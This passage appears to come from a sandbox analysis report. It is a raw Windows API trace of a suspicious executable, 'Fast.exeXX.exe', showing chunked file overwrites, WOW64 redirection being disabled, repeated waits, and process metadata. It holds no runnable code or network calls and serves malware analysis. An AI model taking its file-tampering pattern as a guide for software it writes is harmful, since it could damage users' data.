hFile=0x1ac, lpBuffer=0x34a013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31bfa5c, lpOverlapped=0x0 | out: lpBuffer=0x34a013a*, lpNumberOfBytesWritten=0x31bfa5c*=0x40000, lpOverlapped=0x0) returned 1 [0088.851] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x31bfa50 | out: lpNewFilePointer=0x0) returned 1 [0088.852] WriteFile (in: hFile=0x1ac, lpBuffer=0x34a013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31bfa5c, lpOverlapped=0x0 | out: lpBuffer=0x34a013a*, lpNumberOfBytesWritten=0x31bfa5c*=0x40000, lpOverlapped=0x0) returned 1 [0088.858] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31bfa50 | out: lpNewFilePointer=0x0) returned 1 [0088.858] WriteFile (in: hFile=0x1ac, lpBuffer=0x34a013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31bfa5c, lpOverlapped=0x0 | out: lpBuffer=0x34a013a*, lpNumberOfBytesWritten=0x31bfa5c*=0x40000, lpOverlapped=0x0) returned 1 [0088.865] CloseHandle (hObject=0x1ac) Thread: id = 24 os_tid = 0x82c [0074.375] GetProcessHeap () returned 0x470000 [0074.375] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x31f0060 [0074.375] GetProcessHeap () returned 0x470000 [0074.375] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3200068 [0074.376] GetProcessHeap () returned 0x470000 [0074.376] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x28) returned 0x493798 [0074.376] GetProcessHeap () returned 0x470000 [0074.376] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x110102) returned 0x3500020 [0074.376] GetProcessHeap () returned 0x470000 [0074.377] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x50) returned 0x4937c8 [0074.377] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76d30000 [0074.377] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0074.377] Wow64DisableWow64FsRedirection (in: OldValue=0x30bfa74 | out: OldValue=0x30bfa74*=0x0) returned 1 [0074.377] GetProcessHeap () returned 0x470000 [0074.377] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4937c8 | out: hHeap=0x470000) returned 1 [0074.377] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.377] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.377] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.377] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.377] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.378] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.378] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.378] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.378] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.378] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.378] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.378] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.378] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.378] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.379] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.379] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.379] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.379] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.379] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.379] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.379] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.379] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.379] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.379] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.380] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.380] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.380] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.380] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.380] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.380] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.380] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.380] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.380] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.380] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.381] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.381] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.381] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.381] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.381] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.381] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.381] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.381] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.381] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.381] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.382] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.382] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.382] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.382] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.382] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.382] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.382] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.382] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.383] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.383] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.383] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.383] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.383] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.383] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.383] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.383] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.383] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.384] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.384] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.384] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.384] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.384] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.384] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.384] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.384] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.384] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.385] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.385] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.385] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.385] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.385] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.385] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.385] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.385] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.385] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.385] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.386] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.386] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.386] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.386] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.386] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.386] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.386] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.386] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.386] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.387] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.387] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.387] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.387] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.387] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.387] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.387] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.387] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.387] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.388] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.388] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.388] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.388] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.388] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.388] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.388] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.388] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.388] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.389] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.389] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.389] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.389] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.389] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.389] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.389] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.389] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.389] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.389] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.390] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.390] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.390] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.390] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.390] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.390] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.390] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.390] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.390] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.391] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.391] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.391] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.391] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.391] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.391] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.391] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.391] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.391] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.391] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.392] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.392] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.392] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.392] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.392] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.392] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.392] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.392] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.392] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.393] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.393] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.393] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.393] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.393] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.393] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.393] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.393] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.393] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.393] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.394] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.394] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.394] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.394] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.394] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.394] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.394] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.394] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.394] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.394] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.395] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.395] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.395] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.395] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.395] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.395] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.395] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.395] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.395] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.396] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.396] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.396] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.396] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.396] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.396] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.396] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.396] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.396] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.396] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.397] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.397] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.397] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.397] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.397] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.397] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.397] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.397] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.397] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.397] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.398] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.398] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.398] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.398] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.398] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.398] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.399] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.399] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.399] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.399] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.399] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.399] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.399] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.399] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.399] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.400] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.400] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.400] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.400] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.400] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.400] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.400] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.400] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.400] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.400] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.401] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.401] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.401] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.401] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.401] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.401] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.401] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.401] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.401] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.401] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.402] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.402] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.402] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.402] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.402] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.402] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.402] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.402] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.402] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.402] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.403] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.403] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.403] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.403] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.403] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.403] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.403] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.403] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.403] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0074.403] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 Process: id = "2" image_name = "fast.exexx.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exexx.exe" page_root = "0x5187e000" os_pid = "0x7a4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xa8c" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exeXX.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0x308 [0066.867] GetProcessHeap () returned 0x3b0000 [0066.867] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0x3bec10 [0066.867] GetProcessHeap () returned 0x3b0000 [0066.867] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x33f0) returned 0x3c6120 [0066.870] GetProcessHeap () returned 0x3b0000 [0066.870] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x300) returned 0x3c9518 [0066.871] GetProcessHeap () returned 0x3b0000 [0066.871] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3c1630 [0066.871] GetTickCount () returned 0x114a6ac [0066.871] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x14fdf8, cchData=32 | out: lpLCData="\x03") returned 16 [0066.872] GetProcessHeap () returned 0x3b0000 [0066.872] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3c3a78 [0066.872] GetProcessHeap () returned 0x3b0000 [0066.872] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20a) returned 0x3c9858 [0066.872] GetProcessHeap () returned 0x3b0000 [0066.872] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20a) returned 0x3c9a70 [0066.872] GetProcessHeap () returned 0x3b0000 [0066.872] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20a) returned 0x3c9c88 [0066.872] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3c9c88, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exeXX.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exexx.exe")) returned 0x34 [0066.873] GetProcessHeap () returned 0x3b0000 [0066.873] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9c88 | out: hHeap=0x3b0000) returned 1 [0066.873] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lksf.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lksf.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 